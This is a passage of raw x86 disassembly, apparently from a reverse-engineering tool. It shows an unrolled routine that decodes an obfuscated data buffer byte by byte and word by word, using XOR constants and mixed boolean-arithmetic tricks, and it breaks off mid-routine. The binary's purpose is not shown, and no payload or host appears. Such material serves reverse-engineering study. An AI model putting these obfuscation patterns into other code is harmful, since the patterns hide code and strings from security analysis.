movzx eax, byte [0x463987]
mov ecx, eax
add cl, al
and cl, 0xb2
sub al, cl
add al, 0x59
mov byte [0x463a87], al
mov eax, 0xf7be6f57
xor eax, dword [0x463988]
mov dword [0x463a88], eax
movzx eax, byte [0x46398c]
mov ecx, eax
not cl
or al, 0x81
or cl, 0x7e
and cl, al
not cl
mov byte [0x463a8c], cl
movzx eax, byte [0x46398d]
mov ecx, eax
not cl
or al, 0xe3
or cl, 0x1c
and cl, al
not cl
mov byte [0x463a8d], cl
movzx eax, byte [0x46398e]
xor al, 0x35
mov byte [0x463a8e], al
movzx eax, byte [0x46398f]
xor al, 0xb9
mov byte [0x463a8f], al
movzx eax, byte [0x463990]
xor al, 0x20
mov byte [0x463a90], al
movzx eax, byte [0x463991]
mov ecx, eax
add cl, al
and cl, 0xc8
sub al, cl
add al, 0xe4
mov byte [0x463a91], al
mov eax, 0xda9b1a10
xor eax, dword [0x463992]
mov dword [0x463a92], eax
movzx eax, byte [0x463996]
xor al, 0xf8
mov byte [0x463a96], al
movzx eax, byte [0x463997]
mov ecx, eax
add cl, al
and cl, 0x74
sub al, cl
add al, 0x3a
mov byte [0x463a97], al
movsd xmm0, qword [0x463998]
xorps xmm0, xmmword [0x45e6d0]
movlps qword [0x463a98], xmm0
movzx eax, byte [0x4639a0]
xor al, 0x45
mov byte [0x463aa0], al
movzx eax, byte [0x4639a1]
xor al, 0x25
mov byte [0x463aa1], al
movzx eax, byte [0x4639a2]
xor al, 0x76
mov byte [0x463aa2], al
movzx eax, byte [0x4639a3]
mov ecx, eax
add cl, al
and cl, 0xfa
sub al, cl
add al, 0xfd
mov byte [0x463aa3], al
movzx eax, byte [0x4639a4]
mov ecx, eax
add cl, al
and cl, 0x34
sub al, cl
add al, 0x1a
mov byte [0x463aa4], al
movzx eax, byte [0x4639a5]
xor al, 0x71
mov byte [0x463aa5], al
movzx eax, byte [0x4639a6]
xor al, 0xb8
mov byte [0x463aa6], al
movzx eax, byte [0x4639a7]
mov ecx, eax
add cl, al
and cl, 0xb0
sub al, cl
add al, 0x58
mov byte [0x463aa7], al
movzx eax, byte [0x4639a8]
mov ecx, eax
add cl, al
and cl, 0x4a
sub al, cl
add al, 0x25
mov byte [0x463aa8], al
movzx eax, byte [0x4639a9]
xor al, 0xbb
mov byte [0x463aa9], al
movzx eax, byte [0x4639aa]
xor al, 0x48
mov byte [0x463aaa], al
movzx eax, byte [0x4639ab]
xor al, 0x2f
mov byte [0x463aab], al
movzx eax, byte [0x4639ac]
mov ecx, eax
add cl, al
and cl, 0x26
sub al, cl
add al, 0x93
mov byte [0x463aac], al
movzx eax, byte [0x4639ad]
mov ecx, eax
add cl, al
and cl, 0x80
add cl, al
add cl, 0x40
mov byte [0x463aad], cl
movzx eax, byte [0x4639ae]
xor al, 0x6d
mov byte [0x463aae], al
movzx eax, byte [0x4639af]
xor al, 0xe2
mov byte [0x463aaf], al
movzx eax, byte [0x4639b0]
mov ecx, eax
add cl, al
and cl, 0xee
sub al, cl
add al, 0xf7
mov byte [0x463ab0], al
movzx eax, byte [0x4639b1]
xor al, 0xc2
mov byte [0x463ab1], al
movzx eax, byte [str.o_]
xor al, 0xc8
mov byte [0x463ab2], al
movzx eax, byte [0x4639b3]
mov ecx, eax
add cl, al
and cl, 0xc
sub al, cl
add al, 0x86
mov byte [0x463ab3], al
movzx eax, byte [0x4639b4]
xor al, 0xc2
mov byte [0x463ab4], al
movzx eax, byte [0x4639b5]
mov ecx, eax
add cl, al
and cl, 8
sub al, cl
add al, 0x84
mov byte [0x463ab5], al
mov eax, 0xa423276a
xor eax, dword [0x4639b6]
mov dword [0x463ab6], eax
movzx eax, byte [0x4639ba]
xor al, 2
mov byte [0x463aba], al
movzx eax, byte [0x4639bb]
xor al, 0xc9
mov byte [0x463abb], al
movzx eax, byte [0x4639bc]
xor al, 0xc8
mov byte [0x463abc], al
movzx eax, byte [0x4639bd]
mov ecx, eax
add cl, al
and cl, 0x48
sub al, cl
add al, 0xa4
mov byte [0x463abd], al
mov eax, 0xd0670356
xor eax, dword [0x4639be]
mov dword [0x463abe], eax
movzx eax, byte [0x4639c2]
xor al, 0x53
mov byte [0x463ac2], al
movzx eax, byte [0x4639c3]
xor al, 0x7a
mov byte [0x463ac3], al
movzx eax, byte [0x4639c4]
mov ecx, eax
not cl
or al, 0x93
or cl, 0x6c
and cl, al
not cl
mov byte [0x463ac4], cl
movzx eax, byte [0x4639c5]
mov ecx, eax
add cl, al
and cl, 0x90
sub al, cl
add al, 0x48
mov byte [0x463ac5], al
movzx eax, byte [0x4639c6]
not al
mov byte [0x463ac6], al
movzx eax, byte [0x4639c7]
xor al, 0x3b
mov byte [0x463ac7], al
movzx eax, byte [0x4639c8]
mov ecx, eax
add cl, al
and cl, 0x90
sub al, cl
add al, 0xc8
mov byte [0x463ac8], al
movzx eax, byte [0x4639c9]
mov ecx, eax
add cl, al
and cl, 0x1e
sub al, cl
add al, 0xf
mov byte [0x463ac9], al
mov eax, 0x57aa5a21
xor eax, dword [0x4639ca]
mov dword [0x463aca], eax
movzx eax, byte [0x4639ce]
xor al, 0x2e
mov byte [0x463ace], al
movzx eax, byte [0x4639cf]
xor al, 0x30
mov byte [0x463acf], al
movzx eax, byte [0x4639d0]
mov ecx, eax
add cl, al
and cl, 0x82
sub al, cl
add al, 0xc1
mov byte [0x463ad0], al
mov eax, 0xf52f8c6d
xor eax, dword [0x4639d1]
mov dword [0x463ad1], eax
movzx eax, byte [0x4639d5]
xor al, 0x98
mov byte [0x463ad5], al
movzx eax, byte [0x4639d6]
xor al, 0xf1
mov byte [0x463ad6], al
movzx eax, byte [0x4639d7]
xor al, 0x4b
mov byte [0x463ad7], al
movzx eax, byte [0x4639d8]
mov ecx, eax
add cl, al
and cl, 0xc6
sub al, cl
add al, 0xe3
mov byte [0x463ad8], al
movzx eax, byte [0x4639d9]
mov ecx, eax
not cl
or al, 0x1b
or cl, 0xe4
and cl, al
not cl
mov byte [0x463ad9], cl
movzx eax, byte [0x4639da]
mov ecx, eax
add cl, al
and cl, 0x5a
sub al, cl
add al, 0xad
mov byte [0x463ada], al
mov eax, 0xe14ad09a
xor eax, dword [0x4639db]
mov dword [0x463adb], eax
movzx eax, byte [0x4639df]
xor al, 0x6f
mov byte [0x463adf], al
movzx eax, byte [0x4639e0]
xor al, 0xd7
mov byte [0x463ae0], al
movzx eax, byte [0x4639e1]
mov ecx, eax
add cl, al
and cl, 8
sub al, cl
add al, 0x84
mov byte [0x463ae1], al
movzx eax, byte [0x4639e2]
xor al, 0x91
mov byte [0x463ae2], al
movzx eax, byte [0x4639e3]
xor al, 0x64
mov byte [0x463ae3], al
movzx eax, byte [0x4639e4]
mov ecx, eax
add cl, al
and cl, 0x16
sub al, cl
add al, 0x8b
mov ecx, 0xbd39122e
xor ecx, dword [0x4639e5]
mov byte [0x463ae4], al
mov dword [0x463ae5], ecx
movzx eax, byte [0x4639e9]
xor al, 0x34
mov byte [0x463ae9], al
movzx eax, byte [0x4639ea]
mov ecx, eax
not cl
or al, 0x6e
or cl, 0x91
and cl, al
not cl
mov byte [0x463aea], cl
movzx eax, byte [0x4639eb]
mov ecx, eax
add cl, al
and cl, 0xba
sub al, cl
add al, 0x5d
mov byte [0x463aeb], al
mov eax, 0x3dcf3186
xor eax, dword [0x4639ec]
mov dword [0x463aec], eax
movzx eax, byte [0x4639f0]
mov ecx, eax
not cl
or cl, 0x8c
or al, 0x73
and al, cl
mov byte [0x463af0], al
movsd xmm0, qword [0x4639f1]
xorps xmm0, xmmword [0x45e6e0]
movlps qword [0x463af1], xmm0
movzx eax, byte [0x4639f9]
xor al, 0x86
mov byte [0x463af9], al
movzx eax, byte [0x4639fa]
mov ecx, eax
add cl, al
and cl, 0xa4
sub al, cl
add al, 0x52
mov byte [0x463afa], al
movzx eax, byte [0x4639fb]
xor al, 0xab
mov byte [0x463afb], al
movzx eax, byte [0x4639fc]
xor al, 0xb6
mov byte [0x463afc], al
movzx eax, byte [0x4639fd]
mov ecx, eax
add cl, al
and cl, 0x4a
sub al, cl
add al, 0x25
mov byte [0x463afd], al
movzx eax, byte [0x4639fe]
xor al, 0x5e
mov byte [0x463afe], al
movzx eax, byte [0x4639ff]
xor al, 0x29
mov byte [0x463aff], al
movzx eax, byte [0x463a00]
xor al, 0x86
mov byte [0x463b00], al
movzx eax, byte [0x463a01]
mov ecx, eax
add cl, al
and cl, 0x1a
sub al, cl
add al, 0x8d
movsd xmm0, qword [0x463a02]
xorps xmm0, xmmword [0x45e6f0]
mov byte [0x463b01], al
movlps qword [0x463b02], xmm0
movzx eax, byte [0x463a0a]
xor al, 0x2f
mov byte [0x463b0a], al
movzx eax, byte [0x463a0b]
xor al, 0x4b
mov byte [0x463b0b], al
movzx eax, byte [0x463a0c]
xor al, 0xea
mov byte [0x463b0c], al
movzx eax, byte [0x463a0d]
mov ecx, eax
not cl
or cl, 0x72
or al, 0x8d
and al, cl
movsd xmm0, qword [0x463a0e]
xorps xmm0, xmmword [0x45e700]
mov byte [0x463b0d], al
movlps qword [0x463b0e], xmm0
movzx eax, byte [0x463a16]
mov ecx, eax
add cl, al
and cl, 0x22
sub al, cl
add al, 0x91
mov byte [0x463b16], al
movzx eax, byte [0x463a17]
mov ecx, eax
add cl, al
and cl, 8
sub al, cl
add al, 0x84
mov byte [0x463b17], al
movzx eax, byte [0x463a18]
mov ecx, 0xe4be7dc2
xor ecx, dword [0x463a19]
mov byte [0x463b18], al
mov dword [0x463b19], ecx
movzx eax, byte [0x463a1d]
xor al, 0x70
mov byte [0x463b1d], al
movzx eax, byte [0x463a1e]
xor al, 0x53
mov byte [0x463b1e], al
movzx eax, byte [0x463a1f]
xor al, 0xd8
mov byte [0x463b1f], al
mov eax, dword [0x463520]
lea ecx, [eax + eax]
and ecx, 0xeede
neg ecx
add eax, ecx
add eax, 0x776f
movsd xmm0, qword [0x463522]
xorps xmm0, xmmword [0x45e710]
movd xmm1, dword [0x46352a]
movdqa xmm2, xmm1
paddw xmm2, xmm1
pand xmm2, xmmword [0x45e720]
mov word [0x463720], ax
psubw xmm1, xmm2
paddw xmm1, xmmword [0x45e730]
movlps qword [0x463722], xmm0
movsd xmm0, qword [0x46352e]
xorps xmm0, xmmword [0x45e740]
movd dword [0x46372a], xmm1
mov eax, 0xa32ab13e
xor eax, dword [0x463536]
movlps qword [0x46372e], xmm0
mov dword [0x463736], eax
movzx eax, word [0x46353a]
mov ecx, eax
not ecx
or ecx, 0xe08b
or eax, 0x1f74
and eax, ecx
mov word [str.__4w], ax
mov eax, dword [0x46353c]
lea ecx, [eax + eax]
and ecx, 0x5ae8
neg ecx
add eax, ecx
add eax, 0xffffad74
mov word [0x46373c], ax
mov eax, 0x3d038603
xor eax, dword [0x46353e]
mov dword [0x46373e], eax
movzx eax, word [0x463542]
lea ecx, [eax + eax]
and ecx, 0x84f4
neg ecx
add eax, ecx
add eax, 0xffffc27a
mov word [0x463742], ax
mov eax, 0x7d63fb5f
xor eax, dword [0x463544]
mov dword [str.FqkoO_], eax
mov eax, 0x1c5e
xor eax, dword [0x463548]
mov word [0x463748], ax
movzx eax, word [0x46354a]
lea ecx, [eax + eax]
and ecx, 0xdcb6
neg ecx
add eax, ecx
add eax, 0xffffee5b
mov word [0x46374a], ax
mov eax, 0x4aaf8fcf
xor eax, dword [0x46354c]
mov dword [0x46374c], eax
mov eax, dword [0x463550]
mov ecx, eax
not ecx
or ecx, 0x97de
or eax, 0x6821
and eax, ecx
mov ecx, 0xeaca7380
xor ecx, dword [0x463552]
mov word [0x463750], ax
mov dword [0x463752], ecx
movzx eax, word [0x463556]
xor eax, 0xabf2
mov word [0x463756], ax
mov eax, dword [0x463558]
lea ecx, [eax + eax]
and ecx, 0x3410
neg ecx
add eax, ecx
add eax, 0xffff9a08
movdqu xmm0, xmmword [0x46355a]
movzx edx, word [0x46355e]
lea ecx, [edx + edx]
add edx, 0xfffff17f
pinsrw xmm0, edx, 2
and ecx, 0xe2fe
movdqa xmm2, xmm0
pinsrw xmm2, word [0x463560], 3
pinsrw xmm2, word [str.LR__v], 4
pinsrw xmm2, word [0x463564], 5
pinsrw xmm2, word [0x463566], 6
pinsrw xmm2, word [0x463568], 7
movdqa xmm1, xmmword [0x45e750]
pxor xmm2, xmm1
pinsrw xmm1, ecx, 2
mov word [0x463758], ax
psubw xmm0, xmm1
movdqa xmm1, xmmword [0x45e010]
movdqa xmm3, xmm1
pandn xmm3, xmm0
pand xmm2, xmm1
por xmm2, xmm3
movdqu xmmword [0x46375a], xmm2
movzx eax, word [0x46356a]
lea ecx, [eax + eax]
and ecx, 0xc468
neg ecx
add eax, ecx
add eax, 0x6234
mov ecx, 0xc92bb1cb
xor ecx, dword [0x46356c]
mov word [0x46376a], ax
mov eax, 0x2685
xor eax, dword [0x463570]
mov dword [0x46376c], ecx
mov word [0x463770], ax
movzx eax, word [0x463572]
mov ecx, eax
not ecx
or ecx, 0x61e9
or eax, 0x9e16
and eax, ecx
mov word [0x463772], ax
movdqu xmm0, xmmword [0x463574]
movzx eax, word [0x463576]
mov ecx, eax
not ecx
or ecx, 0x4e30
pinsrw xmm0, ecx, 1
or eax, 0xb1cf
movdqa xmm2, xmm0
pinsrw xmm2, word [0x463578], 2
pinsrw xmm2, word [0x46357a], 3
pinsrw xmm2, word [0x46357c], 4
pinsrw xmm2, word [0x46357e], 5
pinsrw xmm2, word [0x463580], 6
pinsrw xmm2, word [0x463582], 7
movdqa xmm3, xmmword [0x45e760]
pxor xmm2, xmm3
pinsrw xmm3, eax, 1
pand xmm3, xmm0
movdqa xmm0, xmmword [0x45df70]
movdqa xmm4, xmm0
pandn xmm4, xmm3
pand xmm2, xmm0
por xmm2, xmm4
movdqu xmmword [0x463774], xmm2
mov eax, 0x65cce607
xor eax, dword [0x463584]
mov dword [0x463784], eax
mov eax, dword [0x463588]
mov ecx, eax
not ecx
or ecx, 0xec54
or eax, 0x13ab
and eax, ecx
movzx edx, word [0x46358a]
lea ecx, [edx + edx]
add edx, 0xab9
movd xmm4, edx
movdqa xmm3, xmm4
pinsrw xmm3, word [0x46358c], 1
pinsrw xmm3, word [0x46358e], 2
pinsrw xmm3, word [0x463590], 3
pinsrw xmm3, word [0x463592], 4
pinsrw xmm3, word [0x463594], 5
pinsrw xmm3, word [0x463596], 6
and ecx, 0x1572
pinsrw xmm3, word [0x463598], 7
movdqa xmm2, xmmword [0x45e770]
pxor xmm3, xmm2
pinsrw xmm2, ecx, 0
mov word [0x463788], ax
psubw xmm4, xmm2
movdqa xmm2, xmmword [0x45dfc0]
movdqa xmm5, xmm2
pandn xmm5, xmm4
pand xmm3, xmm2
por xmm3, xmm5
movdqu xmmword [0x46378a], xmm3
movzx eax, word [0x46359a]
lea ecx, [eax + eax]
and ecx, 0xc9e6
neg ecx
add eax, ecx
add eax, 0xffffe4f3
mov word [0x46379a], ax
movdqu xmm3, xmmword [0x46359c]
mov ecx, dword [0x4635a0]
lea eax, [ecx + ecx]
add ecx, 0xffffcc12
pinsrw xmm3, ecx, 2
and eax, 0x9824
movdqa xmm4, xmm3
pinsrw xmm4, word [0x4635a2], 3
pinsrw xmm4, word [0x4635a4], 4
pinsrw xmm4, word [0x4635a6], 5
pinsrw xmm4, word [0x4635a8], 6
pinsrw xmm4, word [0x4635aa], 7
movdqa xmm5, xmmword [0x45e780]
pxor xmm4, xmm5
pinsrw xmm5, eax, 2
psubw xmm3, xmm5
pand xmm4, xmm1
pandn xmm1, xmm3
por xmm1, xmm4
movdqu xmmword [0x46379c], xmm1
mov eax, dword [0x4635ac]
lea ecx, [eax + eax]
and ecx, 0xb930
neg ecx
add eax, ecx
add eax, 0x5c98
movdqu xmm1, xmmword [0x4635ae]
movzx edx, word [0x4635ba]
lea ecx, [edx + edx]
add edx, 0xcdb
pinsrw xmm1, word [0x4635b6], 4
pinsrw xmm1, word [0x4635b8], 5
pinsrw xmm1, edx, 6
and ecx, 0x19b6
movdqa xmm3, xmm1
pinsrw xmm3, word [0x4635bc], 7
movdqa xmm4, xmmword [0x45e790]
pxor xmm3, xmm4
pinsrw xmm4, ecx, 6
mov word [0x4637ac], ax
psubw xmm1, xmm4
movdqa xmm4, xmmword [0x45dfe0]
pand xmm3, xmm4
pandn xmm4, xmm1
por xmm4, xmm3
movdqu xmm3, xmmword [0x4635be]
mov ecx, dword [0x4635c0]
lea eax, [ecx + ecx]
add ecx, 0x6098
pinsrw xmm3, ecx, 1
movdqu xmmword [0x4637ae], xmm4
movdqa xmm1, xmm3
pinsrw xmm1, word [0x4635c2], 2
pinsrw xmm1, word [0x4635c4], 3
pinsrw xmm1, word [0x4635c6], 4
pinsrw xmm1, word [0x4635c8], 5
pinsrw xmm1, word [0x4635ca], 6
and eax, 0xc130
pinsrw xmm1, word [0x4635cc], 7
movdqa xmm4, xmmword [0x45e7a0]
pxor xmm1, xmm4
pinsrw xmm4, eax, 1
psubw xmm3, xmm4
movdqa xmm4, xmm0
pandn xmm4, xmm3
pand xmm1, xmm0
movd xmm3, dword [0x4635ce]
movdqa xmm5, xmm3
paddw xmm5, xmm3
pand xmm5, xmmword [0x45e7b0]
por xmm1, xmm4
psubw xmm3, xmm5
paddw xmm3, xmmword [0x45e7c0]
movdqu xmmword [0x4637be], xmm1
movd dword [str.2_B], xmm3
movzx eax, word [0x4635d2]
lea ecx, [eax + eax]
and ecx, 0xcbbc
neg ecx
add eax, ecx
add eax, 0x65de
mov word [0x4637d2], ax
movdqu xmm3, xmmword [0x4635d4]
movzx ecx, word [0x4635da]
lea eax, [ecx + ecx]
add ecx, 0x436
pinsrw xmm3, word [0x4635d8], 2
pinsrw xmm3, ecx, 3
and eax, 0x86c
movdqa xmm4, xmm3
pinsrw xmm4, word [0x4635dc], 4
pinsrw xmm4, word [0x4635de], 5
pinsrw xmm4, word [0x4635e0], 6
pinsrw xmm4, word [0x4635e2], 7
movdqa xmm1, xmmword [0x45e7d0]
pxor xmm4, xmm1
pinsrw xmm1, eax, 3
psubw xmm3, xmm1
movdqa xmm1, xmmword [0x45e1d0]
movdqa xmm5, xmm1
pandn xmm5, xmm3
pand xmm4, xmm1
por xmm4, xmm5
movdqu xmmword [0x4637d4], xmm4
mov eax, 0x8922
xor eax, dword [0x4635e4]
mov word [0x4637e4], ax
movzx eax, word [0x4635e6]
lea ecx, [eax + eax]
and ecx, 0x7012
neg ecx
add eax, ecx
add eax, 0x3809
movdqu xmm3, xmmword [0x4635e8]
mov edx, dword [0x4635f0]
lea ecx, [edx + edx]
add edx, 0xfffff7ef
pinsrw xmm3, edx, 4
and ecx, 0xefde
movdqa xmm4, xmm3
pinsrw xmm4, word [0x4635f2], 5
pinsrw xmm4, word [0x4635f4], 6
pinsrw xmm4, word [0x4635f6], 7
movdqa xmm5, xmmword [0x45e7e0]
pxor xmm4, xmm5
pinsrw xmm5, ecx, 4
mov word [0x4637e6], ax
psubw xmm3, xmm5
movdqa xmm5, xmmword [0x45e030]
pand xmm4, xmm5
pandn xmm5, xmm3
por xmm5, xmm4
movdqu xmmword [0x4637e8], xmm5
mov eax, 0x5d0a8db4
xor eax, dword [0x4635f8]
mov dword [0x4637f8], eax
movd xmm3, dword [0x4635fc]
movdqa xmm4, xmm3
paddw xmm4, xmm3
pand xmm4, xmmword [0x45e7f0]
psubw xmm3, xmm4
paddw xmm3, xmmword [0x45e800]
movd dword [0x4637fc], xmm3
mov eax, dword [0x463600]
lea ecx, [eax + eax]
and ecx, 0xf77c
neg ecx
add eax, ecx
add eax, 0x7bbe
mov word [0x463800], ax
movdqu xmm3, xmmword [0x463602]
mov ecx, dword [0x463604]
lea eax, [ecx + ecx]
and eax, 0x1eea
add ecx, 0xf75
movzx edi, word [0x46360a]
mov edx, edi
not edx
or edi, 0x1747
or edx, 0xe8b8
and edx, edi
pinsrw xmm3, ecx, 1
movdqa xmm4, xmm3
pinsrw xmm4, word [0x463606], 2
pinsrw xmm4, word [0x463608], 3
pinsrw xmm4, edx, 4
pinsrw xmm4, word [0x46360c], 5
pinsrw xmm4, word [0x46360e], 6
pinsrw xmm4, word [0x463610], 7
movdqa xmm5, xmmword [0x45e810]
pxor xmm4, xmm5
pinsrw xmm5, eax, 1
psubw xmm3, xmm5
movdqa xmm5, xmm0
pandn xmm5, xmm3
pand xmm4, xmm0
por xmm4, xmm5
movdqu xmmword [0x463802], xmm4
movzx eax, word [0x463612]
lea ecx, [eax + eax]
and ecx, 0x13b4
neg ecx
add eax, ecx
add eax, 0xffff89da
mov word [0x463812], ax
mov eax, 0x4c784fb1
xor eax, dword [0x463614]
mov dword [0x463814], eax
mov eax, dword [0x463618]
lea ecx, [eax + eax]
and ecx, 0x7db2
neg ecx
add eax, ecx
add eax, 0x3ed9
mov word [0x463818], ax
movzx eax, word [0x46361a]
xor eax, 0xcf15
mov word [0x46381a], ax
mov eax, dword [0x46361c]
lea ecx, [eax + eax]
and ecx, 0x9d6c
neg ecx
add eax, ecx
add eax, 0xffffceb6
mov word [0x46381c], ax
movzx ecx, word [0x46361e]
lea eax, [ecx + ecx]
add ecx, 0xffffcd7d
movd xmm4, ecx
movdqa xmm3, xmm4
pinsrw xmm3, word [0x463620], 1
pinsrw xmm3, word [0x463622], 2
pinsrw xmm3, word [0x463624], 3
pinsrw xmm3, word [0x463626], 4
pinsrw xmm3, word [0x463628], 5
pinsrw xmm3, word [0x46362a], 6
and eax, 0x9afa
pinsrw xmm3, word [0x46362c], 7
movdqa xmm5, xmmword [0x45e820]
pxor xmm3, xmm5
pinsrw xmm5, eax, 0
psubw xmm4, xmm5
movdqa xmm5, xmm2
pandn xmm5, xmm4
pand xmm3, xmm2
por xmm3, xmm5
movdqu xmmword [0x46381e], xmm3
movdqu xmm3, xmmword [0x46362e]
mov ecx, dword [0x463630]
lea eax, [ecx + ecx]
add ecx, 0x2350
pinsrw xmm3, ecx, 1
and eax, 0x46a0
movdqa xmm4, xmm3
pinsrw xmm4, word [0x463632], 2
pinsrw xmm4, word [0x463634], 3
pinsrw xmm4, word [0x463636], 4
pinsrw xmm4, word [0x463638], 5
pinsrw xmm4, word [0x46363a], 6
pinsrw xmm4, word [0x46363c], 7
movdqa xmm5, xmmword [0x45e830]
pxor xmm4, xmm5
pinsrw xmm5, eax, 1
psubw xmm3, xmm5
movdqa xmm5, xmm0
pandn xmm5, xmm3
pand xmm4, xmm0
por xmm4, xmm5
movdqu xmmword [0x46382e], xmm4
mov eax, 0xe88c311
xor eax, dword [0x46363e]
mov dword [0x46383e], eax
movzx eax, word [0x463642]
mov ecx, eax
not ecx
or ecx, 0x4ef7
or eax, 0xb108
and eax, ecx
mov word [0x463842], ax
mov ecx, dword [0x463644]
lea eax, [ecx + ecx]
add ecx, 0x551e
movd xmm4, ecx
movdqa xmm3, xmm4
pinsrw xmm3, word [0x463646], 1
pinsrw xmm3, word [0x463648], 2
pinsrw xmm3, word [0x46364a], 3
pinsrw xmm3, word [0x46364c], 4
pinsrw xmm3, word [0x46364e], 5
pinsrw xmm3, word [0x463650], 6
and eax, 0xaa3c
pinsrw xmm3, word [0x463652], 7
movdqa xmm5, xmmword [0x45e840]
pxor xmm3, xmm5
pinsrw xmm5, eax, 0
psubw xmm4, xmm5
pand xmm3, xmm2
pandn xmm2, xmm4
por xmm2, xmm3
movdqu xmmword [0x463844], xmm2
movups xmm2, xmmword [0x463654]
xorps xmm2, xmmword [0x45e850]
movups xmmword [0x463854], xmm2
mov eax, dword [0x463664]
lea ecx, [eax + eax]
and ecx, 0x759a
neg ecx
add eax, ecx
add eax, 0x3acd
mov word [0x463864], ax
movsd xmm2, qword [0x463666]
xorps xmm2, xmmword [0x45e860]
movlps qword [0x463866], xmm2
movzx eax, word [0x46366e]
lea ecx, [eax + eax]
and ecx, 0x6ae2
neg ecx
add eax, ecx
add eax, 0xffffb571
mov word [0x46386e], ax
mov eax, 0x6841
xor eax, dword [0x463670]
mov word [0x463870], ax
movzx eax, word [0x463672]
lea ecx, [eax + eax]
and ecx, 0x8bb8
neg ecx
add eax, ecx
add eax, 0x45dc
mov word [0x463872], ax
mov eax, 0x5364
xor eax, dword [0x463674]
mov word [0x463874], ax
movd xmm2, dword [0x463676]
movdqa xmm3, xmm2
paddw xmm3, xmm2
pand xmm3, xmmword [0x45e870]
psubw xmm2, xmm3
paddw xmm2, xmmword [0x45e880]
movd dword [0x463876], xmm2
movsd xmm2, qword [0x46367a]
xorps xmm2, xmmword [0x45e890]
movlps qword [0x46387a], xmm2
movzx eax, word [0x463682]
mov ecx, eax
not ecx
or eax, 0x2205
or ecx, 0xddfa
and ecx, eax
not ecx
mov word [0x463882], cx
mov eax, 0xdc56
xor eax, dword [0x463684]
mov word [0x463884], ax
movzx eax, word [0x463686]
lea ecx, [eax + eax]
and ecx, 0xe590
neg ecx
add eax, ecx
add eax, 0xfffff2c8
mov word [0x463886], ax
mov eax, dword [0x463688]
mov ecx, eax
not ecx
or ecx, 0xdff1
or eax, 0x200e
and eax, ecx
movdqu xmm2, xmmword [0x46368a]
mov edx, dword [0x46368c]
lea ecx, [edx + edx]
and ecx, 0x5a8e
add edx, 0xffffad47
pinsrw xmm2, edx, 1
movdqa xmm3, xmm2
pinsrw xmm3, word [0x46368e], 2
pinsrw xmm3, word [0x463690], 3
pinsrw xmm3, word [0x463692], 4
pinsrw xmm3, word [0x463694], 5
pinsrw xmm3, word [0x463696], 6
pinsrw xmm3, word [0x463698], 7
movdqa xmm4, xmmword [0x45e8a0]
pxor xmm3, xmm4
pinsrw xmm4, ecx, 1
mov word [0x463888], ax
psubw xmm2, xmm4
movdqa xmm4, xmm0
pandn xmm4, xmm2
pand xmm3, xmm0
por xmm3, xmm4
movdqu xmmword [0x46388a], xmm3
movzx eax, word [0x46369a]
lea ecx, [eax + eax]
and ecx, 0xa1d6
neg ecx
add eax, ecx
add eax, 0xffffd0eb
mov word [0x46389a], ax
mov eax, 0x975005bb
xor eax, dword [0x46369c]
mov dword [0x46389c], eax
mov eax, dword [0x4636a0]
lea ecx, [eax + eax]
and ecx, 0x34e6
neg ecx
add eax, ecx
add eax, 0xffff9a73
mov word [0x4638a0], ax
movzx eax, word [0x4636a2]
xor eax, 0xfa0c
mov word [0x4638a2], ax
mov eax, dword [0x4636a4]
lea ecx, [eax + eax]
and ecx, 0xa1d0
neg ecx
add eax, ecx
add eax, 0xffffd0e8
mov word [0x4638a4], ax
movdqu xmm2, xmmword [0x4636a6]
mov ecx, dword [0x4636b0]
lea eax, [ecx + ecx]
add ecx, 0xffffccd1
pinsrw xmm2, word [0x4636ae], 4
pinsrw xmm2, ecx, 5
and eax, 0x99a2
movdqa xmm3, xmm2
pinsrw xmm3, word [0x4636b2], 6
pinsrw xmm3, word [0x4636b4], 7
movdqa xmm4, xmmword [0x45e8b0]
pxor xmm3, xmm4
pinsrw xmm4, eax, 5
psubw xmm2, xmm4
movdqa xmm4, xmmword [0x45df50]
pand xmm3, xmm4
pandn xmm4, xmm2
por xmm4, xmm3
movdqu xmmword [0x4638a6], xmm4
movups xmm2, xmmword [0x4636b6]
xorps xmm2, xmmword [0x45e8c0]
movups xmmword [0x4638b6], xmm2
movzx eax, word [str._G_]
xor eax, 0x2632
mov word [0x4638c6], ax
mov eax, dword [0x4636c8]
lea ecx, [eax + eax]
and ecx, 0xbeb8
neg ecx
add eax, ecx
add eax, 0x5f5c
mov word [0x4638c8], ax
mov eax, 0xde91f047
xor eax, dword [0x4636ca]
mov dword [0x4638ca], eax
movzx eax, word [0x4636ce]
lea ecx, [eax + eax]
and ecx, 0x26a6
neg ecx
add eax, ecx
add eax, 0xffff9353
movq xmm2, qword [0x4636d2]
movzx ecx, word [0x4636d6]
mov edx, ecx
not edx
or ecx, 0xa5c3
or edx, 0x5a3c
and edx, ecx
punpcklwd xmm2, xmmword [0x4636d0]
pshuflw xmm2, xmm2, 0xe1
pinsrw xmm2, edx, 3
pxor xmm2, xmmword [0x45e8d0]
mov word [0x4638ce], ax
movq qword [0x4638d0], xmm2
mov eax, dword [0x4636d8]
lea ecx, [eax + eax]
and ecx, 0xf438
neg ecx
add eax, ecx
add eax, 0xfffffa1c
mov word [0x4638d8], ax
movdqu xmm2, xmmword [0x4636da]
mov ecx, dword [0x4636dc]
lea eax, [ecx + ecx]
and eax, 0xafda
add ecx, 0x57ed
pinsrw xmm2, ecx, 1
movdqa xmm3, xmm2
pinsrw xmm3, word [0x4636de], 2
pinsrw xmm3, word [0x4636e0], 3
pinsrw xmm3, word [0x4636e2], 4
pinsrw xmm3, word [0x4636e4], 5
pinsrw xmm3, word [0x4636e6], 6
pinsrw xmm3, word [0x4636e8], 7
movdqa xmm4, xmmword [0x45e8e0]
pxor xmm3, xmm4
pinsrw xmm4, eax, 1
psubw xmm2, xmm4
movdqa xmm4, xmm0
pandn xmm4, xmm2
pand xmm3, xmm0
por xmm3, xmm4
movdqu xmmword [0x4638da], xmm3
movdqu xmm2, xmmword [0x4636ea]
mov ecx, dword [0x4636f0]
lea eax, [ecx + ecx]
and eax, 0x7e38
pinsrw xmm2, word [0x4636ee], 2
add ecx, 0xffffbf1c
pinsrw xmm2, ecx, 3
movdqa xmm3, xmm2
pinsrw xmm3, word [0x4636f2], 4
pinsrw xmm3, word [0x4636f4], 5
pinsrw xmm3, word [0x4636f6], 6
pinsrw xmm3, word [0x4636f8], 7
movdqa xmm4, xmmword [0x45e8f0]
pxor xmm3, xmm4
pinsrw xmm4, eax, 3
psubw xmm2, xmm4
pand xmm3, xmm1
pandn xmm1, xmm2
por xmm1, xmm3
movdqu xmmword [0x4638ea], xmm1
movups xmm2, xmmword [0x4636fa]
xorps xmm2, xmmword [0x45e900]
movdqu xmm1, xmmword [0x46370a]
mov ecx, dword [0x46370c]
